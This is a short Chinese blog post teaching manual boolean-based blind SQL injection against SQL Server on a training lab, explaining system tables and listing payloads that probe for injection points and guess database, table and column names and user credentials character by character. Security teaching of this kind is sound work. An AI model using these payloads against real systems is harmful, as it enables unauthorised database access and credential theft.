SQL Server手注之布尔型盲注

基础补充

master..sysdatabases

系统数据表

unicode

获取输入字符串的整数值

exists

检验查询是否返回数据。exists并不在意具体数据,只会返回是否有数据

syscolums

syscolums是系统的字段表,保存当前数据库中的所有字段

sysobjects

存放该数据库内创建的所有对象

  • 一些参数的说明

举个例子(靶场:墨者学院)

判断是否有注入点

  1. '
  2. and 1=1
  3. and 1=2

猜测数据库名

  • and exists(select top 1 name from master..sysdatabases where unicode(substring(name,1,1))=109)

猜解表名

  • and exists(select top 1 name from 表名 where unicode(substring(name,1,1))=109)

猜解列名

  • and exists(select top 1 name from syscolumns where id=(select id from sysobjects where name='表名') and unicode(substring (name,1,1))=117)

逐字猜解数据

  • and exists(select id from manage where unicode(substring(username,1,1))=97 and ID=1)
    补充:以后如果有时间把具体的数据获取到。
原文地址:https://www.cnblogs.com/ceiling-/p/14441825.html